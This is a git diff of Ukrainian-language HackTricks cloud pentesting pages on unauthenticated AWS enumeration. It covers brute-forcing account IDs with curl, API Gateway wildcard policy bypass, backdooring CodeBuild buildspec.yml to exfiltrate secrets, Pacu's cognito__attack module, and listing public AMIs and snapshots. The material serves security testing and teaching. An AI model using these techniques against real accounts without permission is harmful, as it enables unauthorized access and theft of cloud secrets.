$REGION + +aws sagemaker list-data-wrangler-flows --region $REGION +aws sagemaker describe-data-wrangler-flow --flow-name --region $REGION + +aws sagemaker list-model-quality-job-definitions --region $REGION +aws sagemaker list-model-monitoring-schedule --region $REGION +``` +Висновки з безпеки: + +- Онлайн feature stores реплікують дані в Kinesis; перевірте `OnlineStoreConfig.SecurityConfig.KmsKeyId` та VPC. +- Data Wrangler flows часто вбудовують облікові дані JDBC/Redshift або приватні кінцеві точки. +- Clarify/Model Monitor jobs експортують дані в S3, які можуть бути доступні для читання всім або доступні з інших акаунтів. + +## MLflow Tracking Servers, Autopilot & JumpStart +```bash +aws sagemaker list-mlflow-tracking-servers --region $REGION +aws sagemaker describe-mlflow-tracking-server --tracking-server-name --region $REGION + +aws sagemaker list-auto-ml-jobs --region $REGION +aws sagemaker describe-auto-ml-job --auto-ml-job-name --region $REGION + +aws sagemaker list-jumpstart-models --region $REGION +aws sagemaker list-jumpstart-script-resources --region $REGION +``` +- Сервери MLflow tracking зберігають експерименти та артефакти; попередньо підписані URL-адреси можуть розкрити все. +- Завдання Autopilot запускають кілька навчальних завдань — перераховуйте результати на наявність прихованих даних. +- Референсні архітектури JumpStart можуть розгортати привілейовані ролі в обліковому записі. + +## IAM & Мережеві міркування + +- Перелічіть IAM-політики, приєднані до всіх ролей виконання (Studio, notebooks, training jobs, pipelines, endpoints). +- Перевірте мережеві контексти: subnets, security groups, VPC endpoints. Багато організацій ізолюють training jobs, але забувають обмежити вихідний трафік. +- Перегляньте політики S3 bucket, на які посилаються в `ModelDataUrl`, `DataCaptureConfig`, `InputDataConfig`, щодо зовнішнього доступу. + +## Підвищення привілеїв + +{{#ref}} +../../aws-privilege-escalation/aws-sagemaker-privesc/README.md +{{#endref}} + +## Персистентність + +{{#ref}} +../../aws-persistence/aws-sagemaker-persistence/README.md +{{#endref}} + +## Постексплуатація + +{{#ref}} +../../aws-post-exploitation/aws-sagemaker-post-exploitation/README.md +{{#endref}} + +## Несанкціонований доступ + +{{#ref}} +../aws-sagemaker-unauthorized-access/README.md +{{#endref}} + +## Посилання + +- [AWS SageMaker Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/whatis.html) +- [AWS CLI SageMaker Reference](https://docs.aws.amazon.com/cli/latest/reference/sagemaker/index.html) +- [SageMaker Studio Architecture](https://docs.aws.amazon.com/sagemaker/latest/dg/gs-studio.html) +- [SageMaker Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/security.html) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md deleted file mode 100644 index f584dd5ad..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md +++ /dev/null @@ -1,43 +0,0 @@ -# AWS - Облікові записи без аутентифікації - -{{#include ../../../banners/hacktricks-training.md}} - -## Ідентифікатори облікових записів - -Якщо у вас є ціль, існують способи спробувати ідентифікувати ідентифікатори облікових записів, пов'язаних з ціллю. - -### Брутфорс - -Ви створюєте список потенційних ідентифікаторів облікових записів та псевдонімів і перевіряєте їх. -```bash -# Check if an account ID exists -curl -v https://.signin.aws.amazon.com -## If response is 404 it doesn't, if 200, it exists -## It also works from account aliases -curl -v https://vodafone-uk2.signin.aws.amazon.com -``` -Ви можете [автоматизувати цей процес за допомогою цього інструменту](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py). - -### OSINT - -Шукайте URL-адреси, які містять `.signin.aws.amazon.com` з **аліасом, пов'язаним з організацією**. - -### Marketplace - -Якщо у постачальника є **екземпляри на ринку,** ви можете отримати ідентифікатор власника (ідентифікатор облікового запису) AWS-облікового запису, який він використовував. - -### Snapshots - -- Публічні EBS знімки (EC2 -> Snapshots -> Public Snapshots) -- Публічні знімки RDS (RDS -> Snapshots -> All Public Snapshots) -- Публічні AMI (EC2 -> AMIs -> Public images) - -### Errors - -Багато повідомлень про помилки AWS (навіть доступ заборонено) нададуть цю інформацію. - -## References - -- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum/README.md new file mode 100644 index 000000000..29452aad9 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum/README.md @@ -0,0 +1,43 @@ +# AWS - Accounts Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## Ідентифікатори акаунтів + +Якщо у вас є ціль, існують способи спробувати визначити ID акаунтів, пов’язаних із нею. + +### Brute-Force + +Ви створюєте список потенційних ID акаунтів та аліасів і перевіряєте їх +```bash +# Check if an account ID exists +curl -v https://.signin.aws.amazon.com +## If response is 404 it doesn't, if 200, it exists +## It also works from account aliases +curl -v https://vodafone-uk2.signin.aws.amazon.com +``` +You can [automate this process with this tool](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py). + +### OSINT + +Шукайте URL-адреси, що містять `.signin.aws.amazon.com` з **аліасом, пов'язаним з організацією**. + +### Marketplace + +Якщо у постачальника є **instances in the marketplace,** ви можете отримати owner id (account id) AWS-акаунта, який він використав. + +### Snapshots + +- Public EBS snapshots (EC2 -> Snapshots -> Public Snapshots) +- RDS public snapshots (RDS -> Snapshots -> All Public Snapshots) +- Public AMIs (EC2 -> AMIs -> Public images) + +### Errors + +Багато повідомлень про помилки AWS (навіть access denied) надають цю інформацію. + +## References + +- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md deleted file mode 100644 index a21ddaf7c..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md +++ /dev/null @@ -1,52 +0,0 @@ -# AWS - API Gateway Unauthenticated Enum - -{{#include ../../../banners/hacktricks-training.md}} - -### API Invoke bypass - -Згідно з доповіддю [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE), Lambda Authorizers можуть бути налаштовані **з використанням синтаксису IAM** для надання дозволів на виклик API кінцевих точок. Це взято [**з документації**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html): -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Permission", -"Action": ["execute-api:Execution-operation"], -"Resource": [ -"arn:aws:execute-api:region:account-id:api-id/stage/METHOD_HTTP_VERB/Resource-path" -] -} -] -} -``` -Проблема з таким способом надання дозволів для виклику кінцевих точок полягає в тому, що **"\*" означає "будь-що"** і **більше не підтримується синтаксис regex**. - -Декілька прикладів: - -- Правило, таке як `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*`, щоб надати кожному користувачу доступ до `/dashboard/user/{username}`, надасть їм доступ до інших маршрутів, таких як `/admin/dashboard/createAdmin`, наприклад. - -> [!WARNING] -> Зверніть увагу, що **"\*" не зупиняється на розширенні з косими рисками**, отже, якщо ви використовуєте "\*" в api-id, наприклад, це також може вказувати на "будь-яку стадію" або "будь-який метод", якщо фінальний regex все ще дійсний.\ -> Отже, `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\ -> Може перевірити POST запит до тестової стадії на шляху `/prod/GET/dashboard/admin`, наприклад. - -Вам завжди слід чітко розуміти, що ви хочете дозволити для доступу, а потім перевірити, чи можливі інші сценарії з наданими дозволами. - -Для отримання додаткової інформації, окрім [**документації**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html), ви можете знайти код для реалізації авторизаторів в [**цьому офіційному aws github**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints). - -### Впровадження IAM політики - -У тій же [**розмові**](https://www.youtube.com/watch?v=bsPKk7WDOnE) викривається той факт, що якщо код використовує **введення користувача** для **генерації IAM політик**, дикий символ (та інші, такі як "." або конкретні рядки) можуть бути включені туди з метою **обходу обмежень**. - -### Шаблон публічного URL -``` -https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided} -``` -### Отримання ID облікового запису з публічного URL API Gateway - -Так само, як і з S3 бакетами, Data Exchange та URL-адресами Lambda, можливо знайти ID облікового запису, зловживаючи **`aws:ResourceAccount`** **Policy Condition Key** з публічного URL API Gateway. Це робиться шляхом знаходження ID облікового запису по одному символу, зловживаючи підстановочними знаками в секції **`aws:ResourceAccount`** політики.\ -Ця техніка також дозволяє отримувати **значення тегів**, якщо ви знаєте ключ тегу (є кілька стандартних цікавих). - -Ви можете знайти більше інформації в [**оригінальному дослідженні**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) та інструменті [**conditional-love**](https://github.com/plerionhq/conditional-love/) для автоматизації цього експлуатації. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum/README.md new file mode 100644 index 000000000..6a3d18074 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum/README.md @@ -0,0 +1,52 @@ +# AWS - API Gateway Неавторизоване перерахування + +{{#include ../../../../banners/hacktricks-training.md}} + +### API Invoke bypass + +Згідно з доповіддю [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE), Lambda Authorizers можуть бути налаштовані **за допомогою IAM синтаксису** для надання дозволів на виклик кінцевих точок API. Це взято [**from the docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html): +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Permission", +"Action": ["execute-api:Execution-operation"], +"Resource": [ +"arn:aws:execute-api:region:account-id:api-id/stage/METHOD_HTTP_VERB/Resource-path" +] +} +] +} +``` +The problem with this way to give permissions to invoke endpoints is that the **"\*" implies "anything"** and there is **no more regex syntax supported**. + +Декілька прикладів: + +- Правило на кшталт `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*`, щоб надати кожному користувачу доступ до `/dashboard/user/{username}`, надасть їм доступ і до інших маршрутів, наприклад `/admin/dashboard/createAdmin`. + +> [!WARNING] +> Зверніть увагу, що **"\*" doesn't stop expanding with slashes**, тому, якщо ви використовуєте "\*" в api-id, наприклад, це також може означати "any stage" або "any method", за умови, що фінальний regex все ще валідний.\ +> So `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\ +> Can validate a post request to test stage to the path `/prod/GET/dashboard/admin` for example. + +Ви завжди повинні чітко визначити, що саме хочете дозволити доступ, а потім перевірити, чи можливі інші сценарії з наданими дозволами. + +Для детальнішої інформації, окрім [**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html), ви можете знайти код для реалізації authorizers у [**this official aws github**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints). + +### IAM Policy Injection + +In the same [**talk** ](https://www.youtube.com/watch?v=bsPKk7WDOnE)it's exposed the fact that if the code is using **вхідні дані користувача** to **генерувати IAM-політики**, wildcards (and others such as "." or specific strings) can be included in there with the goal of **bypassing restrictions**. + +### Шаблон публічного URL +``` +https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided} +``` +### Отримати ідентифікатор облікового запису (Account ID) з публічного API Gateway URL + +Так само, як і з S3 buckets, Data Exchange та Lambda URLs gateways, можливо знайти account ID облікового запису, зловживаючи **`aws:ResourceAccount`** **Policy Condition Key** через публічний API Gateway URL. Це робиться шляхом посимвольного визначення account ID, зловживаючи підстановочними символами в секції **`aws:ResourceAccount`** політики.\ +Ця техніка також дозволяє отримувати **значення тегів** якщо ви знаєте ключ тега (є кілька за замовчуванням цікавих). + +You can find more information in the [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) and the tool [**conditional-love**](https://github.com/plerionhq/conditional-love/) to automate this exploitation. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum/README.md similarity index 53% rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum/README.md index 3360c0873..546669a04 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum/README.md @@ -1,9 +1,9 @@ # AWS - Cloudfront Unauthenticated Enum -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ### Шаблон публічного URL ``` https://{random_id}.cloudfront.net ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md deleted file mode 100644 index b8935e16e..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md +++ /dev/null @@ -1,33 +0,0 @@ -# AWS - CodeBuild Unauthenticated Access - -{{#include ../../../banners/hacktricks-training.md}} - -## CodeBuild - -Для отримання додаткової інформації перегляньте цю сторінку: - -{{#ref}} -../aws-services/aws-codebuild-enum.md -{{#endref}} - -### buildspec.yml - -Якщо ви отримали доступ до запису в репозиторії, що містить файл з назвою **`buildspec.yml`**, ви можете **встановити бекдор** у цей файл, який вказує на **команди, що будуть виконані** всередині проекту CodeBuild, і ексфільтрувати секрети, скомпрометувати те, що виконується, а також скомпрометувати **облікові дані ролі IAM CodeBuild**. - -Зверніть увагу, що навіть якщо немає жодного файлу **`buildspec.yml`**, але ви знаєте, що використовується Codebuild (або інший CI/CD), **модифікація деякого легітимного коду**, який буде виконано, також може дати вам реверс-шелл, наприклад. - -Для деякої пов'язаної інформації ви можете переглянути сторінку про те, як атакувати Github Actions (схоже на це): - -{{#ref}} -../../../pentesting-ci-cd/github-security/abusing-github-actions/ -{{#endref}} - -## Self-hosted GitHub Actions runners in AWS CodeBuild - -Як [**вказано в документації**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), можливо налаштувати **CodeBuild** для виконання **самостійно хостованих Github дій**, коли тригериться робочий процес у налаштованому репозиторії Github. Це можна виявити, перевіривши конфігурацію проекту CodeBuild, оскільки **`Тип події`** має містити: **`WORKFLOW_JOB_QUEUED`**, а в робочому процесі Github він вибере **самостійно хостований** виконавець, як це: -```bash -runs-on: codebuild--${{ github.run_id }}-${{ github.run_attempt }} -``` -Ця нова взаємозв'язок між Github Actions та AWS створює ще один спосіб скомпрометувати AWS з Github, оскільки код у Github буде виконуватися в проекті CodeBuild з прикріпленою роллю IAM. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md new file mode 100644 index 000000000..974716f8a --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md @@ -0,0 +1,33 @@ +# AWS - CodeBuild Неавтентифікований доступ + +{{#include ../../../../banners/hacktricks-training.md}} + +## CodeBuild + +Для більш детальної інформації див. цю сторінку: + +{{#ref}} +../../aws-services/aws-codebuild-enum.md +{{#endref}} + +### buildspec.yml + +Якщо ви отримаєте права запису в репозиторій, який містить файл з назвою **`buildspec.yml`**, ви можете **backdoor** цей файл — він визначає **команди, що будуть виконані** в проекті CodeBuild і дозволяє exfiltrate the secrets, скомпрометувати виконувані дії та також скомпрометувати **CodeBuild IAM role credentials**. + +Зверніть увагу, що навіть якщо файлу **`buildspec.yml`** немає, але ви знаєте, що використовується CodeBuild (або інший CI/CD), **зміна легітимного коду**, який буде виконуватись, також може, наприклад, дати вам reverse shell. + +Для суміжної інформації перегляньте сторінку про те, як атакувати Github Actions (схоже на це): + +{{#ref}} +../../../../pentesting-ci-cd/github-security/abusing-github-actions/ +{{#endref}} + +## Self-hosted GitHub Actions runners in AWS CodeBuild + +Як [**вказано в документації**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), можливо налаштувати **CodeBuild** для запуску **self-hosted Github actions**, коли у відповідному Github repo тригериться workflow. Це можна виявити, перевіривши конфігурацію проекту CodeBuild, оскільки **`Event type`** має містити: **`WORKFLOW_JOB_QUEUED`**, а в Github Workflow буде обрано **self-hosted** runner, як от: +```bash +runs-on: codebuild--${{ github.run_id }}-${{ github.run_attempt }} +``` +Цей новий зв'язок між Github Actions та AWS створює ще один спосіб скомпрометувати AWS через Github, оскільки код на Github виконуватиметься в проекті CodeBuild з прикріпленою роллю IAM. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md deleted file mode 100644 index 751c57b3e..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md +++ /dev/null @@ -1,44 +0,0 @@ -# AWS - Cognito Unauthenticated Enum - -{{#include ../../../banners/hacktricks-training.md}} - -## Unauthenticated Cognito - -Cognito - це сервіс AWS, який дозволяє розробникам **надавати своїм користувачам доступ до сервісів AWS**. Розробники надають **IAM ролі автентифікованим користувачам** у своїй програмі (можливо, люди зможуть просто зареєструватися) і вони також можуть надати **IAM роль неавтентифікованим користувачам**. - -Для основної інформації про Cognito дивіться: - -{{#ref}} -../aws-services/aws-cognito-enum/ -{{#endref}} - -### Identity Pool ID - -Identity Pools можуть надавати **IAM ролі неавтентифікованим користувачам**, які просто **знають Identity Pool ID** (що досить поширено **знайти**), і зловмисник з цією інформацією може спробувати **отримати доступ до цієї IAM ролі** та експлуатувати її.\ -Більше того, IAM ролі також можуть бути призначені **автентифікованим користувачам**, які отримують доступ до Identity Pool. Якщо зловмисник може **зареєструвати користувача** або вже має **доступ до постачальника ідентичності**, що використовується в identity pool, він може отримати доступ до **IAM ролі, що надається автентифікованим** користувачам і зловживати її привілеями. - -[**Перевірте, як це зробити тут**](../aws-services/aws-cognito-enum/cognito-identity-pools.md). - -### User Pool ID - -За замовчуванням Cognito дозволяє **реєструвати нових користувачів**. Можливість зареєструвати користувача може надати вам **доступ** до **основного застосунку** або до **автентифікованої IAM ролі доступу Identity Pool**, яка приймає як постачальника ідентичності Cognito User Pool. [**Перевірте, як це зробити тут**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration). - -### Pacu modules for pentesting and enumeration - -[Pacu](https://github.com/RhinoSecurityLabs/pacu), фреймворк експлуатації AWS, тепер включає модулі "cognito\_\_enum" та "cognito\_\_attack", які автоматизують перерахування всіх активів Cognito в обліковому записі та виявляють слабкі конфігурації, атрибути користувачів, що використовуються для контролю доступу тощо, а також автоматизують створення користувачів (включаючи підтримку MFA) та ескалацію привілеїв на основі змінних користувацьких атрибутів, використовуваних облікових даних identity pool, ролей, що можуть бути прийняті в id токенах тощо. - -Для опису функцій модулів дивіться частину 2 [блог-посту](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Для інструкцій з установки дивіться основну сторінку [Pacu](https://github.com/RhinoSecurityLabs/pacu). - -#### Usage - -Приклад використання `cognito__attack` для спроби створення користувача та всіх векторів привілеїв проти даного identity pool та клієнта user pool: -```bash -Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools -us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients -59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX -``` -Приклад використання cognito\_\_enum для збору всіх пулів користувачів, клієнтів пулів користувачів, пулів ідентичності, користувачів тощо, видимих у поточному обліковому записі AWS: -```bash -Pacu (new:test) > run cognito__enum -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md new file mode 100644 index 000000000..eb8d6db10 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md @@ -0,0 +1,44 @@ +# AWS - Cognito Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## Unauthenticated Cognito + +Cognito — це сервіс AWS, який дозволяє розробникам **надавати користувачам їхнього додатку доступ до сервісів AWS**. Розробники призначають **IAM roles to authenticated users** у своєму додатку (потенційно люди можуть просто sign up), і вони також можуть надати **IAM role to unauthenticated users**. + +For basic info about Cognito check: + +{{#ref}} +../../aws-services/aws-cognito-enum/ +{{#endref}} + +### Identity Pool ID + +Identity Pools можуть надавати **IAM roles to unauthenticated users**, які просто **знають Identity Pool ID** (що досить часто трапляється), і зловмисник із цією інформацією може спробувати **access that IAM role** та зловживати нею.\ +Більше того, IAM roles також можуть бути призначені **authenticated users**, які отримують доступ до Identity Pool. Якщо зловмисник може **register a user** або вже має **access to the identity provider**, що використовується в Identity Pool, він може отримати доступ до **IAM role being given to authenticated users** і зловживати її привілеями. + +[**Check how to do that here**](../../aws-services/aws-cognito-enum/cognito-identity-pools.md). + +### User Pool ID + +За замовчуванням Cognito дозволяє **зареєструвати нового користувача**. Можливість зареєструвати користувача може надати вам **доступ** до **підлягаючого додатку** або до **authenticated IAM access role of an Identity Pool**, який приймає Cognito User Pool як identity provider. [**Check how to do that here**](../../aws-services/aws-cognito-enum/cognito-user-pools.md#registration). + +### Pacu modules for pentesting and enumeration + +[Pacu](https://github.com/RhinoSecurityLabs/pacu), фреймворк для експлуатації AWS, тепер включає модулі "cognito__enum" і "cognito__attack", які автоматизують перелік всіх об'єктів Cognito в акаунті та виявлення слабких конфігурацій, атрибутів користувачів, що використовуються для контролю доступу тощо, а також автоматизують створення користувачів (включаючи підтримку MFA) і ескалацію привілеїв на основі змінюваних кастомних атрибутів, доступних credentials Identity Pool, assumable roles в id tokens тощо. + +Для опису функцій модулів див. частину 2 [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Інструкції з встановлення див. на основній сторінці [Pacu](https://github.com/RhinoSecurityLabs/pacu). + +#### Usage + +Приклад використання `cognito__attack` для спроби створення користувача та всіх векторів ескалації привілеїв проти вказаного identity pool і user pool client: +```bash +Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools +us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients +59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX +``` +Приклад використання cognito__enum для збору всіх пулів користувачів, клієнтів пулів користувачів, пулів ідентичностей, користувачів тощо, видимих у поточному обліковому записі AWS: +```bash +Pacu (new:test) > run cognito__enum +``` +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum/README.md similarity index 56% rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum/README.md index 30bf2ec19..8169814fb 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum/README.md @@ -1,9 +1,9 @@ # AWS - DocumentDB Unauthenticated Enum -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ### Шаблон публічного URL ``` .cluster-..docdb.amazonaws.com ``` -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md deleted file mode 100644 index 910d8336e..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md +++ /dev/null @@ -1,15 +0,0 @@ -# AWS - Доступ до DynamoDB без аутентифікації - -{{#include ../../../banners/hacktricks-training.md}} - -## Dynamo DB - -Для отримання додаткової інформації перегляньте: - -{{#ref}} -../aws-services/aws-dynamodb-enum.md -{{#endref}} - -Окрім надання доступу до всіх AWS або деякого скомпрометованого зовнішнього облікового запису AWS, або наявності SQL-ін'єкцій в додатку, що взаємодіє з DynamoDB, я не знаю більше варіантів доступу до облікових записів AWS з DynamoDB. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md new file mode 100644 index 000000000..6ece880d4 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md @@ -0,0 +1,15 @@ +# AWS - DynamoDB Неавтентифікований доступ + +{{#include ../../../../banners/hacktricks-training.md}} + +## Dynamo DB + +Для отримання додаткової інформації див.: + +{{#ref}} +../../aws-services/aws-dynamodb-enum.md +{{#endref}} + +Окрім випадків, коли через DynamoDB надається доступ до всього AWS або до якогось скомпрометованого зовнішнього AWS-акаунта, або коли в додатку, що взаємодіє з DynamoDB, є SQL injections, я не знаю інших способів доступу до AWS-акаунтів через DynamoDB. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum/README.md similarity index 53% rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum/README.md index c9d4fe450..1e9a38f1b 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum/README.md @@ -1,18 +1,18 @@ # AWS - EC2 Unauthenticated Enum -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} -## EC2 та пов'язані сервіси +## EC2 & пов'язані сервіси -Перевірте на цій сторінці більше інформації про це: +На цій сторінці можна знайти більше інформації про це: {{#ref}} -../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ +../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} ### Публічні порти -Можливо **вивести будь-який порт віртуальних машин в інтернет**. Залежно від **того, що працює** на відкритому порту, зловмисник може це зловживати. +Можна відкрити в інтернеті **будь-який порт віртуальних машин**. Залежно від того, **що на ньому запущено**, зловмисник може ним зловживати. #### SSRF @@ -20,9 +20,9 @@ https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html {{#endref}} -### Публічні AMI та знімки EBS +### Публічні AMIs & EBS Snapshots -AWS дозволяє **надавати доступ будь-кому для завантаження AMI та знімків**. Ви можете дуже легко перерахувати ці ресурси зі свого облікового запису: +AWS дозволяє **надавати доступ будь-кому для завантаження AMIs and Snapshots**. Ви можете дуже легко перерахувати ці ресурси зі свого облікового запису: ```bash # Public AMIs aws ec2 describe-images --executable-users all @@ -37,7 +37,7 @@ aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLo aws ec2 describe-snapshots --restorable-by-user-ids all aws ec2 describe-snapshots --restorable-by-user-ids all | jq '.Snapshots[] | select(.OwnerId == "099720109477")' ``` -Якщо ви знайдете знімок, який може бути відновлений будь-ким, обов'язково перевірте [AWS - EBS Snapshot Dump](https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/index.html#ebs-snapshot-dump) для отримання інструкцій щодо завантаження та грабежу знімка. 